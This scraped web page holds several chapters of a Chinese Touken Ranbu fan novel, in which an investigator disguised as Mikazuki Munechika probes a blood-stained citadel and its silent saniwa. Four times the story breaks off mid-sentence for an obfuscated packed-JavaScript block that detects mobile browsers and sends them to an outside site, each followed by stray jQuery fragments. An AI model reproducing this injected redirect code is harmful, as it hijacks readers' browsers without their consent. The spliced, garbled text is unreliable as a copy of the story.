清光不自然地移开视线,涂着红色指甲油的手指宛若不好意思般挠了挠脸,“啊没关系,我们也是后来才发现这样还挺好的,以后你就知道了,还是先见主人吧。”
走在前往天守阁的路上,清光牢记着作为初始刀带着新人熟悉本丸的职责,走到哪里便为辉月介绍到哪里。辉月一边沿路观察一边回忆出发前A56给出的信息。
其实没有什么好观察的,总之一切付丧神能走到、碰到的地方都是红色的,把房屋的装饰、墙面地板的花纹全都遮住了,站在庭院里乍一眼看去
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742979|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
东南西北都是一样的景色,看多了感觉眼睛里都要开始往外冒血了。
还是多想想A56提供的信息吧。
这座本丸被放进等待排查的行列起初是因为多次中伤参与演练,被分配为演练对手的审神者对此感到奇怪又没在演练场看到本应带队的审神者,于是向时政匿名举报。经过初步调查,该本丸的审神者如上个本丸的一般,既不前往演练场也不前往万屋,连日常文书和战绩汇报都由近侍完成、提交,在本丸之外彻底失去了踪影。
本来它的调查优先级并不高,不爱出门的窝里蹲审神者数量不少,只要根据要求完成每周出阵指标、按时提交文书报告,绝大部分从任职蹲到离职都不会有人在意,如果是高级本丸,就连每年的年度汇报都可以由初始刀代为参加。
但由于上个本丸被调查发现存在不当行为,有着相似特征的这座本丸便很快被再次注意到。且就在两天前,例行上交的战绩报告上沾染着新鲜的血迹,就这样送到了后勤部的办公桌上。于是它的调查优先级被一路提到了最上面,正好辉月已经处理过相似情况,那么这个也不在话下。
“需要注意的是该本丸的审神者来自相对遥远的时空,那个时空和辉月大人您生前的时空十分接近,所以您千万小心不要泄露真实身份。”
A56的声音回响在她的脑海,与之一起浮现的是当时的场面。
彼时的会议桌上,三个人各坐一方,全然是三种不同的状态。
A56注视着浮空投影于面前的详细情况说明,挑着重点向辉月汇报,他大抵是在坐在这里的人中最严阵以待的一位。
而那个即将再次进入目标本丸,本该紧张的人在经历了刺激过度的新手教程后豁然开朗,心态和承受能力都上升了不止一个档次。如果新的目标本丸和新手教程相似的话,那再好不过,有了经验一切也就是兵来将挡水来土掩。最重要的还是进入目标本丸、亲眼见证实际状况之后,把握每个可能接触的线索,胆大心细地推测并找到真相。
这么想着,也就没有必要提前担忧了,她面色平和,坐姿放松,身体后靠,手随意地搭在两侧的扶手,看起来不像是要去下一场调查任务,倒像是A56这个学员在给她做年度汇报。
这次进入目标本丸的方式有所不同,需要以从刀中显形的方式降落,辉月将身上的本体刀寄放在稽查部,他们会立刻将本体刀送至科研部,通过特殊路径将刀剑送到那座本丸中。
而辉月自己则再次回到了主楼前的广场上。技术人员已经创建好了新的时空通道,从刀剑中降生于本丸和真人直接进入本丸,两种穿梭方式用着同一种方法,其中原理辉月不懂,大概是什么时政的高科技吧。
在广场上等待片刻,技术人员说科研部已做好准备,可以进入通道了。于是辉月挥手与A56和玉玲作别,站上了广场。
一阵光芒从广场上已更改过的纹路里泛出,将整个广场照亮,一个眼熟的裂缝如同蟒蛇眼中竖立的瞳孔般出现在广场中央,在短短几秒间由模糊转为清晰。
在辉月走向广场中央、走进时空通道之前,玉玲唤了她一声,似乎有什么想说。
头顶着不知从哪掏出的宽沿太阳帽,她扶了扶爱心型的粉框墨镜,语气如造型一般轻松地说,“第二次任务要出发了,紧张吗?”
辉月笑,“如你所说第二次了,没什么好紧张的。”
“那就好,慢慢来吧,说不定会是一次不错的休假呢。”
辉月的目光从她太阳帽上长如天线垂倒的半透明丝带,飘到她出主楼前偷偷一键换成黑底粉条纹的美甲,露出了一个尴尬而不失礼貌的微笑。
很难说谁更像在休假。
21.血色沉默2
怪不得中伤演练,怪不得收到的报告上沾染了血迹,这一整个本丸都是红色的,行走其中活似掉进了重庆火锅,从里面出来的付丧神和文书不沾点红色才更奇怪。
只是被清光带着转了一圈,辉月便感觉自己身上都满是血腥味了。
走遍整个日式庭院大概只能找到一处干净地方,那就是面前的天守阁,唯一一块没有被血色浸染的净土。
当木质小楼那天然原木色映入眼帘,辉月的眼睛一瞬间得到了净化,就像从沙漠一步迈入护眼的森林,看见的东西都更清楚了几分。
在离门两步的距离,清光停下了脚步,将脖子上的围巾仔细翻正抚平,把长风衣的领子完美翻折,又对着自然光校对了自己的指甲油颜色,确定其比庭院里的血更鲜艳后,这才屈指敲了敲门。
明明还没有进去,他已不由得流露笑意,透过那双艳丽的眼睛能窥见他未加掩饰的期待而羞涩的心情。
淡淡的而不扭捏的羞涩是青年最好的修饰,面容愈显俏丽,连敲门的声音都显得好听,脆却不闹,力道刚刚好,传至楼内却没有任何回应。
两秒安静后,他示意辉月跟着自己,推门而入。
这座本丸的审神者对装修全然不上心,本丸的规模、天守阁的规格都是最基础的,想来是到了这里就没变更过。天守阁只有简简单单一层,推开门就能看见审神者。
女子坐在墙边,是典型的东方面孔,一头黑发如宣纸上挥毫泼墨泼出来的山与水,顺着背脊流下又蜿蜒在身边。墙那侧开了窗,她沉默着向外望,听见身后有人来的声音近在咫尺,才慢慢转过头来。
高冷如冰的面容没有任何表情,眉毛与眼瞳都极黑,透着堪比夜的冷,但并不僵硬可怖,只有一种让人肃然的疏离。
“主人,这是新到的刀,是很稀有的太刀哦。”
清光一见到审神者,连声音都夹了起来,品起来像是刚洗过还滴着水的荔枝,跟刚刚在锻刀室门口高喊安定的样子完全不同,多了些撒娇般的甜,还有隐藏其后的邀功的讨好。
在辉月看来,他没能讨到什么好。审神者对他说的话不置可否,就像天守阁里吹过一阵风。只有她的目光飘忽如雾,堪堪被清光的声音拉住,在他身上每一处深褐色之间游移,从肩头到腰侧又划过大腿。
可惜,那与他接触最多的目光是平静的,连重量也没有,最后也只是落在他脸庞的前方,如同一只不尴不尬的吊死鬼。往前一步飞翔上天,一刻的自由哪怕是虚幻的也好,往后一步坠落在地,脚踏到实处时也就死不了了。偏偏是吊在半空,被一根绳子绊住了,哪里也去不了,解脱也求不得。
那目光也是的,要不干脆不看,明明白白直说我眼里就没你,要不就落在那张神采奕然的脸上,彰显最强烈的存在感。
她不,她眼神飘忽,似看非看,好像注意到了又好像全然不在意。
即使这样,当她望向他的方向,他依然像是娇艳的红色磷火,身体内的所有物质察觉到一点来自主人的风吹草动便自燃了。推门而入时的羞涩倏忽不见,取而代之的是肉眼可见的喜悦和期待,脸颊上逐渐泛起不自然的微红。
他垂着头微微仰脸,让那双亮着光的眼睛可以被看见,问,“身上有点痛诶,主人可以帮我手入一下吗?”
审神者目光空空,依然毫无回应。
轻轻一声响,是清光跪行到她身边时,腰侧的本体刀与地板发生的小碰撞,是他鼓起勇气向主人寻求宠爱的、却又不敢大声吹响的号角。
将刀取下横放在腿上,他颤抖着牵起她的指尖搭在自己的本体上。人身上放任血液干涸,刀身却被擦得雪亮,反光将女人的指尖也照得雪白,两者相触,仿佛北方的飞雪飘进了南方的冬天。
灵力从女人的指尖泄出,流进布有裂痕的打刀,横冲直撞地经过每一处伤痕。即使站在一旁,辉月都能感觉到其中充盈的灵力。
出发调查前没见到乌玫,但在会议室她请教了玉玲灵力相关的问题。如今她也算对灵力的使用略有心得,一眼便能看出,这位审神者手入的手法十分粗糙,灵力跟水库开闸泄洪似的把刀当下游的宽河直往里灌,一半进了刀身,一边溢出散在了空气里。
有一些飘到了辉月身边,散发着比气温略高的温度,让人觉得暖暖的,就像是泡澡的浴缸加了热水。她这边水温小有波动,清光那边离灵力源头最近,大概可以算作火山温泉,肉眼可见他的脸更红了。
一阵光芒闪过,刀身恢复如初。
从天守阁离开后,清光似乎在沉浸在刚刚的余韵里,拉高红围巾遮住了小半张脸,许久没有说话。察觉到辉月一直在看自己,才终于想起了自己作为初始刀的职责,他从被疼爱的幸福中清醒,有些得意地对辉月说,“呐,主人很好吧。”
很好……吗?从哪里感觉到好的,一言不发的高冷还是毫无波动的眼神,完全没上心就纯灌水的手入还是手入一结束就又扭头看风景。见过这里的审神者后,辉月只觉得她像个精心保存在楼里的木偶,还是中空的那种,不能说她目中无刀,但也确实算不得上心。
“审神者的灵力似乎温度很高。”辉月说。
“啊,是啊。一下子全灌进来的时候,会被烫得有些痛,但一想到是主人全无保留地给予我的,又发自内心地很开心。主人真的是一个很好的人啊。”清光攥住身前的围巾,嘴角扬得一个遮掩不住的弧度。
朋友们这对吗?
调查结束她一定要请稽查部的人来给这里的刀剑们上一堂安全教育课,不要构建畸形的情感观念,拒绝自我pua,想要刺激上网就行了,现实里照顾对方的感受才是正常的体验!
原先看到加州清光和大和守安定在锻刀室门口打打闹闹斗斗嘴,状态自然又和谐,辉月还觉得会不会是搞错了什么,或许只是审神者不出门没发现大家已经把血当水玩,以至于玩得满地都是。时政能把出大问题的本丸当新手教程派给她,把正常本丸当难题警惕也很合理。
但亲眼见完审神者,辉月又不确定了。清光看起来很依赖甚至是崇拜审神者,可是审神者却是那么高不可攀。在清光向审神者介绍她时,那个女人轻飘飘地瞥了眼她,全然没有半分对稀有刀的在意,可是清光说她是这个本丸第一把稀有刀。
当然,也有一部分审神者对稀有刀并不在意,对所有刀剑一视同仁,但对她反转的性别也如此淡定的就很少见了。
审神者没有半分惊讶,也没有半分好奇,在清光说明异常情况后,古井无波的目光那头像是被绑在窗外的某个角落,绑得严严实实,听到什么都无动于衷,让人不免生出一些无礼的怀疑——她是不是耳朵聋了听不见声。
在阳光洒下,为她侧脸镀上金边的那个刹那,辉月恍惚觉得此人比刀剑男士们更不像人。
而清光对此已然习惯。
审神者永久的沉默并未给他带来半分困扰,或许自他出现在这个本丸以来,审神者便一直如此。
他甚至理所当然地对辉月说,主人很好吧。
辉月无法回答。
本丸为何浸染鲜血,审神者为何沉默不语,看来这就是她本次要调查的问题了。
好消息是这里的刀剑付丧神至少性
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745792|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
格很正常,可以直接沟通,旁敲侧击询问本丸过去发生的事情。坏消息是,看起来最不正常的那个是审神者。
作为刀剑的主人,作为本丸的中心,审神者的情况影响着这里的一切,审神者都不正常了,很难确保刀剑们是不是异常在了她看不见的地方。
没听到认可的回答,加州清光心里有些不安,是初来这里还不适应,还是对主人有什么疑虑?无论是哪个情况,作为初始刀他都希望能及时发现问题,帮助新刀尽早融入本丸。随后他注意到辉月的衣袖在刚刚行进间沾上的一抹血色,在夜空一般的蓝色和服上如同墙上蹭了灰那样显眼。
他似乎明白了什么解释说,“别看我们血淋淋的,但主人对我们很温柔,只要向她提出请求,她什么都会答应的。”
温柔,如冰的温柔吗?
刀剑的脑回路果然是与人类不同的。对他们来说,得到主人的注意与重视是最主要的。只要这个结果,至于过程怎样或许并不重要。鲜血拖曳一路淋漓地爬到主人脚下,和双脚稳健地行至主人身前,只要最后能得到主人的抚摸,就很幸福了。
即使拥有了身体,在他们的头脑深处的底层逻辑中依然把自己视作刀剑,幻想着被主人拂过刀锋欣赏赞叹,幻想着被主人尽情使用。
或许这就是唤醒他们、派遣他们之外,审神者存在的意义之一——让他们看见人类是如何生活,听见人类是如何思考的。
可惜这个本丸的审神者闭门不出,这个本丸的刀剑付丧神们未经主人的人性化影响,也就保留下了最原始的本能,用鲜血去满足自己获取主人注意的渴望。
“伤是从哪里来的呢?”辉月问。
已经把她当做本丸一员的加州清光毫无保留,直白地告诉辉月就是出阵的时候伤到的。
“就算你不问,之后我们也会告诉你的。这算是我们吸引主人注意的方式吧。主人总是呆在天守阁,也总是很安静。安定邀请她出来一起玩,平野采下新开的花放在她的窗口,主人依然不说话,但是她会留意我们的伤口,所以大家忍不住……”
清光说着,表情模糊在淡淡的快乐和浅浅的悲伤之间,或许他也能感觉到审神者离他们又近又远。
他未把话说完,但辉月知道他们忍不住什么。
在锻刀室门口看见淌着血的大和守安定,她有注意到他身上除了未经处理的新伤还有已经简单包扎但又故意不包好的旧伤。那种程度的伤是日积月累才会产生的,和手入前的清光一样。
他们忍不住将轻伤留成中伤,忍不住做作蹩脚地处理伤口,就为了披着血色干涸的出阵服来到审神者面前,就为了她看见那伤时眼中片刻的波动。
这就是审神者的意图吗?
如果是的话,这位审神者可比上一位高明。
刀剑们不会去想这些,即使察觉到也只会把这当做主人的小小喜好。
只要不磨灭他们作为刀剑的骄傲,不伤害他们重要的同伴,穿梭于战场的他们早已习惯伤口与血迹,他们忠诚,不做多想。只要主人表露出一点点心思,他们总是愿意顺从。
但辉月是人类。
她会思考、她会怀疑、她会深究,那个人为什么要这么做。她会顺着肉眼可见的线索往深处探索,直到抓到藏在任何异常行径之后的另一个人类的欲望。
审神者唤醒神明、审视神明、指引神明,而她要做的就是调查,摸出本丸的真实状况,挖出审神者的欲望,时政会审判它。
她会搞清楚那个女人在想什么。
大家都是出阵受的伤么,那她也是时候出阵一次了。
22.血色沉默3
根据观察,这座本丸出阵任务相对轻松,刀剑也并不多,符合一个建立时间不长的新生本丸应有的规模,自然正是需要更多战力的时候。三日月宗近作为稀有太刀,获取不易,游戏里数值也不错,放到现实里应该也不差。
辉月想着自己作为新刀来了这里,应当很快就能被派遣出阵,没想到一连等了几日都没有消息。
这几天她每天严格遵守三日月宗近的行动流程。
早上大广间吃完早饭,先进行一个逃番,光明正大坐在长廊下悠闲得看大家打打闹闹。都说人的适应能力很强,确实,她初来乍到还被满眼红色炫得眼晕,两天下来便已能就着随刀剑们的行动在空中自在飞舞的血珠喝茶。
没能等来抓她逃番的人,她略有些失望,就仿佛必打卡项目少做了一项,心里总感觉缺了点什么。
但粟田口妹妹头双子之一的平野藤四郎很会照顾人,其他的孩子们也很热情,她在那坐一个白天就能跟本丸的每一振刀说上一轮话。
这么好机会不趁机挖点消息她枉为特殊调查员,只可惜最终没能聊出什么名堂来。并非大家守口如瓶,有心不把在本丸生活的细节告诉她。恰恰相反,她若是状似无意地问一个人,在本丸生活得如何、和审神者接触的感受,其他的人也会拥上来,从第一次见审神者、第一次出阵、第一次内番直到最近一次,七嘴八舌地畅谈起来。
等周围好不容易重新清静下来,她把刚刚听到的细节一复盘,却发现通通正常到没边了,或许在她不知道的某个时空位面,她的本丸里刀剑们也就这么过上一天。
找不到线索,调查难以继续进展,她倒也不着急,正如玉玲副队所说,慢慢来吧,就当度假。
看着玩心未泯的刀剑们在长廊前的空地上追逐打闹,这样的日子倒也享受。
但要说她最喜欢看的,还得是他们的初始刀加州清光和大和守安定每日一出的拌嘴小剧场。
上次是因为清光新换的指甲油,一个说颜色浅了,一个说颜色深了;上上次是因为两人一起种地,一个把泥弄到了另一个的衣服上;上上上次是五虎退的小老虎又走丢了,清光主动提议帮忙找,安定也硬跟着,结果趴在地上往长廊地板下的空隙看时两个脑袋竟撞到了一块,就责任分配问题,两人又闹了起来。
顺带一提,那次小老虎是跑到了辉月怀里,她花了很长时间把它重新擦白。
在来到本丸的第二天辉月就彻底理解了为什么大家都穿出阵服,毕竟只是在本丸里正常走路都会沾到血,没人喜欢多洗一件衣服。
为此,五虎退每天傍晚都要蹲在部屋门口,擦干净一只小白虎放进部屋,再擦另一只。
自从那天辉月帮他提前完成了五分之一的每日任务,每晚她都会在他部屋门口小坐一会,顺便借着帮忙擦拭小老虎的名义揉搓毛茸茸。当手指顺着插进老虎旺盛的毛发中,比任何使用柔顺剂的衣物都更柔软顺滑的触感包裹着指尖,就仿佛整个人掉进了蓬松的棉花糖里,世界都轻柔而幸福起来。
第一天,逃番,喝茶,聊天。
第二天,逃番,喝茶,聊天。
第三天,逃番,喝茶,聊天,摸小老虎。
第四天……
辉月啊辉月不能再堕落下去了,和刀剑们呆在一起虽快乐,但你是来调查的!支棱起来啊!
于是她又在廊下喝了半天茶后,终于在清光路过时叫住了他。
“三日月想要出阵吗?”清光空着手,而安定提着直滴血的拖把,两人显然是刚把天守阁门口拖干净。
根据在这里几天的经验,辉月知道清光怀里应当还有一瓶遮掩血气的香水,刚芳香了天守阁的门口。嗯,这个比平时更浓郁、更分散的气味,今天可能还额外芬芳了一起拖地的大和守安定。
而拖完地,清光一定又借口说自己指甲油没干,于是现在拖把在安定手里。
“主人对这些琐事不感兴趣啦,都是我们自行报名,然后由清光安排。呐,”安定举了举手里的拖把,不顾红色的水在下方聚成一小滩,“我正在贿赂初始刀大人,以求明天能顺利出阵。”
清光抬起那据说指甲油没干的手,给安定胳膊上来了一下,以实际行动表明初始刀大人不接受贿赂,转头正经和辉月解释,“你刚来想着先让你对这里熟悉一下,我们出阵任务也不算重,所以还没跟你说。明天的出阵需要把你排进去吗?”
辉月微笑颔首。
早出阵早受伤早试探早结束,休息虽好,天天在廊下喝茶她屁股都要坐疼了。
“要来杯茶吗?”辉月邀请清光就坐。
事实证明,初始刀大人心善,接受贿赂。
次日,以加州清光为首,大和守安定、平野藤四郎、鸣狐、浦岛虎彻,加上辉月,六人一队一同出阵。
为了照顾新来的没有作战经验的辉月,这个队伍里除了她都是来到本丸时间较长的刀剑,有丰富的出战经历。五位老手,一把新刀,队长还是资历最深的初始刀,她在其中也就起了一个蹭经验的作用。
由于她初来乍到毫无经验,清光还妥帖地给大家装上了远程刀装,可以在入战前先发制人,削减敌方战力,减轻了大家出阵的负担,也降低了她第一次出阵就受伤的概率。
清光来到出阵所用的时空转换装置前,将指针顺时针波动,直到指针尖停在了“京都(西阵)”的位置。
一阵光芒闪过,几人已来到京都。
这里是本丸发展中前期经典的练刀图。战线很长,在进入王点消灭敌方队伍boss前,至少要经过五场战斗。
漫长的战线,频繁的战斗,清光选择这个地方作为出阵目的地,显然是为了让她能以最高效率积攒战斗经验,刚好合了辉月有意受伤的念头。
在脚刚落到实处之时,在清光的首肯下,身为短刀的平藤四郎便凭借绝佳的机动窜了出去,再回来已然带回了敌军的消息。
最近的时间溯行军躲藏在前方不远处的树林间,借茂密的植被隐藏行踪,但还是逃不过短刀优秀的侦查。
“侦查完成了,敌军阵型是鹤翼阵。”平野手刚一摸上腰间,寒光闪过,刀已出鞘,显然已蓄势待发。
“组成鱼鳞阵,开工开工!”清光高喝一声,队伍阵型随之变换。
在喊出声的同一时刻,他拔刀,刀身反射出锋利的光,和安定一左一右率先向敌军所在的方向冲了过去。其他人紧随其后。
蓝紫色的幽光在树木后若隐若现,那是时间溯行军的眼睛。顺着那隐隐现现的微光,清光和安定提刀而上,配合默契,刀锋相交,直将敌军逼出了树林。
像是深海里肆意生长的怪兽被驱赶至探照灯下,时间溯行军们终于露出诡谲的真容,浑身上下只剩骨架,如剃肉留骨的游鱼一般的敌短;保留着人形,却失去面容,身体像蓝环章鱼一样泛着紫的敌太和敌打。
它们不会说话,连喉咙之类的器官是否存在都需要质疑,只有不成调的嘶吼从那形态各异的身体里倾泻而出,使那庞大而扭曲的身躯更加具有威慑力。
游戏和现实还是不一样的。在游戏里面对时间溯行军,辉月只会感
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753904|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叹一句“小东西长得真别致”,而现实里亲眼看见它们的那刻,先于任何想法升起的,是顺着脊骨往上爬的寒意。
她缓缓舒一口气,让激动不已的心跳平稳下来,握住刀柄的手攥得更紧,像是要从身体内部唤醒一股勇气。
根据地丁医生的说法,她这具新的身体融合趋势很好,已经达到正常刀剑付丧神的水准,深埋在皮肉之下的属于刀剑的战斗本能还未苏醒完全,但此刻在同伴的掩护下,挥刀应敌足矣。
她当然相信地丁的判断,于是心安静下来。她握着刀跟着此刻的同伴们冲入战局。
不愧是有着丰富战斗经验的刀剑们组成的队伍,彼此配合默契,队长下达指示及时,队员们也都反应迅速。
在这样的队伍面前,时间溯行军很快被消灭殆尽,化为灰烟消散在空中。
辉月被有意护在最后,避免与敌方主力碰上,一场战斗下来,不过是衣摆沾了灰。
这样可不行,她加入这一次出阵的目的可不止是熟悉战斗技巧。如此看来,要想自然而然地因为生疏受伤有些困难,只能发挥演技,故意卖出破绽了。
啊演技,重来这一生,除了心态她磨炼最多的就是演技了。再来两个任务,她相信自己就可以二次穿越娱乐圈决战影帝去了。
之后的出阵依然十分顺利,大家不是第一次来到京都(西阵),都已熟清熟路,消灭两波时间溯行军后,还有心情闲聊玩闹起来。
在最后一战即王点前,平野钻进附近的草丛,从深处摘下一捧野花。小蓝花颜色清浅,五瓣花瓣桥小可爱,一捧握在手里满满当当又不显臃肿。
“要送给主人吗?”鸣狐看他兀自看着手里的花笑,于是问道。
他脖子上的狐狸经过几场完美胜利不免兴奋起来,热血无处发泄,于是跳下他的肩头地跑去浦岛虎彻身边,逗浦岛肩上的乌龟龟吉玩。橘黄头发的开朗胁差曾暴言和敌人也能成为朋友,自然欢迎狐狸的到来,从肩膀上将龟吉捧下,一边鼓励一边亲眼见证一狐一龟交朋友。
下半张脸带着面具的打刀平日很少开口,说话时声音很轻,自带一股无法严明的温柔。
“嗯!”平野很用力地应着,合拢手用清光送来的小皮筋将花束扎了起来。
“但是我们等会要进王点了,会弄乱的吧。”清光望了望近在咫尺的王点说道。
此话不无道理,王点的敌人本就比一路过来遇到的实力强劲,何况平野藤四郎是短刀,本就身板脆容易受伤不说,战局里主要靠灵活机动骚扰敌人,再抓住机会一击毙命,花束放在身上也容易乱。
“既然这样,放我这里就可以了吧。”安定提议。
清光瞥了安定一眼,刚想说你也半斤八两。此时辉月开口道,“给我吧。”
大家的目光一致落在她身上。
平心而论,她的出阵服最厚也最复杂,小花束塞里面能藏得严严实实的,确实是最好的选择。
“我早就想问了,出阵服这么多层穿起来不累吗?”辉月将平野双手捧着郑重托付的小花放进怀里,听见安定好奇地问,动作都停顿了一秒。
累啊!怎么不累!穿衣服的时候很累,穿完了穿着挥刀的时候也很累。
那么长的衣袖,挥刀的时候,刀没砍中敌方倒是衣摆先糊了对面一脸。那么长的衣摆,她也不是没踩中然后绊倒过。那么多层的衣服,换她前世的人类身体,站起来都嫌重。
她苦,但她不能说。她只能熟练地扯出一个神秘而优雅的微笑,说,“哈哈哈哈确实不擅长打理自己呢。”
23.血色沉默4
“原来你这家伙就是首领啊。”
王点前的侦查已经结束。
惯例叹完一句,清光指挥着平野和浦岛当先,其他人紧随其后从一个刁钻的角度冲进了时间溯行军的队伍。奇袭很成功,敌人的节奏被完全打乱,这场战局的结果在此刻注定,胜利的号角仿佛已经响起前奏。
辉月挥动太刀,将扑面而来的敌打挡住又推开,在短暂分开的刹那,她和敌方同时调整重心,改变姿势,准备迎来下一次交锋。就在此时,一把敌短凭借灵活身形绕过清光,从她右侧后方直朝她冲来。
清光注意到敌短转移了目标,改变了行进方向,但他也注意到辉月余光瞟到了敌短的来势。
根据几场战斗的指挥和合作,他立刻判断出这把受过他一次重击的敌短已是强弩之末,只要辉月注意到它的行踪就能顺利拦下。
相比之下,另一侧平野用以抵挡伤害的刀装已经摇摇欲坠,鸣狐帮他挡下一次伤害已经爆发过真剑必杀,而敌人尚未消灭。于是他转身向更需要支援的那一侧赶去。
他的判断没有错,辉月只需要将向前冲的势头暂时停下,手腕发力将刀一转,就刚好能先挡下敌短的偷袭,再反手斩断扑过来的敌打的身躯。
但那从侧后方而来的尖锐刀锋还是划破了她的右手臂,断线的珍珠一般,空中带出了一连串血珠,一部分溅上了她的侧脸,留下一条鲜艳的红痕。
握刀的手受到袭击,手连着刀猛地一颤,正前方的敌打抓住时机以要逆转战局的气势飞身而来,又在辉月侧腰划出一条血线。若不是她即时回防挡了一下,这一刀会落在更致命的地方。
血液从伤口处涌出、又晕开在衣服中的感觉并不好受,被血打湿的布料牢牢黏在皮肤上,连行动都受到了约束,动作间掀起的风为之带来潮湿的寒意。血气弥散开来,经过血色本丸里的几天“休假”,辉月甚至觉得这股腥气十分亲切。
伴随着不远处传来的同伴惊讶的呼喊声,她挥刀将再次袭来的敌短斩下,又忍下身体中传来的痛意,欺身向前,将看见同伴战死表露出逃跑之意的敌打折断。两团黑色的烟雾很快便随风飘散。
其他敌人也尽数被剿灭。
清光手腕翻转将刀身上的血迹甩去,“锵”得一声收刀入鞘后,满面忧心地赶到了辉月面前。
“三日月,你怎么样?”
虽然本丸的大家习惯留着伤口,但这次出阵只是为了带新来的刀熟悉战场,习惯一下用人身挥舞刀剑与时间溯行军作战的感觉。选择的战场也是已经摸透的地图。让新来的刀剑受伤,不在加州清光的预想中。
他走到辉月面前,低头拧眉查看她的伤口,其他人也一齐围了上来。
“三日月殿,没事吧。”平野藤四郎担心地看着她。
“没事的,只是受伤而已,作为刀剑受伤是正常的。”辉月安抚完平野,又对清光说,“是我托大了,哈哈哈哈果然还是出阵经验不足啊。加州不用担心,不会有下一次了。”
是的,不会有下一次了,不出意外这会是她在这个本丸第一也是唯一一次出阵。她可不想这唯一一次还要让队长自责。
她从怀中掏出整齐如初的小花束,血液将她腰间染红,却不曾影响这小片浅蓝半分。小花束被还给平野,在他手中轻轻摇曳。
“你看,花好好的,我也好好的。不必担心,回去我会包扎的。”最后一句辉月对清光说。
王点被顺利攻破,敌人已消灭殆尽。
队长清光确认情况无误之后,从怀里掏出出阵专用便携式时光转换器,按下按钮,眼睛一睁一闭之间,队伍已回到本丸,正在那时空转换装置旁的空地上。
按照该本丸的惯例,出阵的成员不用参与内番,也就是说今天的任务他们已经完成,之后可以继续悠闲度日。欢呼一声,队伍原地解散。
浦岛虎彻邀请鸣狐跟他一起去部屋旁的小湖边,舀上一盆水,让狐狸和龟吉一起玩水欢闹。平野藤四郎跟着要去,说可以帮狐狸和龟吉洗澡。
辉月默默望着他们一同离开,转头看见清光还站在一旁,目光闪烁,面带犹豫,好像要跟她说什么,但又迟迟不开口。
“加州?”辉月唤他一声,将他飘飞到不知何处的思绪召了回来,“是想说什么吗?”
“嗯……”他的眼睛看向辉月身上的伤,却又未曾聚焦,似乎是在思索什么。正当他决定还是算了,想跟辉月说没什么时,安定从身后扑到了他背上。胸膛压在他的肩膀处,一只手绕过他的身体环住另一侧的肩,突如其来的重量将他压得往下沉了几分,也打断了他原本的思绪。
“清光总是想很多呢。”这话乍一听似乎是抱怨,但在场的另外两个人都听出了其中深意。如果不是了解对方,看他眼神一瞟便知道他在担心什么,如果不是关心对方,怕他自个乱想走进了死胡同,便不会这么说。
清光的表情骤然一松,语气也轻快了许多,“笨蛋,我不多想一点,本丸就要乱套了。我可是初始刀啊。”
渴望爱的孩子,总会不由自主地想很多。
昨天被爱了吗?今天有被爱吗?明天还会被爱吗?这份爱多还是少,又能持续多久呢。
他们总是保持敏感。对在意之人的喜好敏感,对重要之人的情绪敏感,只有这样才能投其所好,才能获得更多的爱。
在来到这个本丸,见到主人的第一眼,加州清光就很确定,她对自己很满意。闭口不言的沉默,固然为他们之间的交流增添了阻碍,在两个人之间拉扯起一面纱,但除了口舌,还有更加直通内心的窗口,得以让他捕捉到一点审神者的心。
是眼睛。
在他显形的那一刻、睁开眼与她目光相撞的那一刻,他从那扇无言的窗口中看见了讶然、恍惚,但更多的是无论如何遮掩不住的惊喜。那双喜色明显的眸子上上下下地转,从自己的眼睛看到指甲,从长发上的绑带琢磨到长靴,在小高跟上停留的时间最久。
不知道顺着那高跟想到了什么,她突然笑起来,眼睛弯成溪流上的小桥,转头对着旁边的狐之助点了点头。
在被认真地注视着,在被肯定着,在被喜欢着,意识到这点的时候,他那刻初生的心随之轻灵地跃动,轻得快要飘到本丸的上空。
那个时候,主人还没有这般沉默,她从未在人前开过口,但他尚能从她眼中读出只言片语。
后来,在他不知道的地方,女人在渐渐地变化着。静坐窗边望着天空的时候,在想
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770068|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么呢。注视着他们却不说话的时候,在想什么呢。
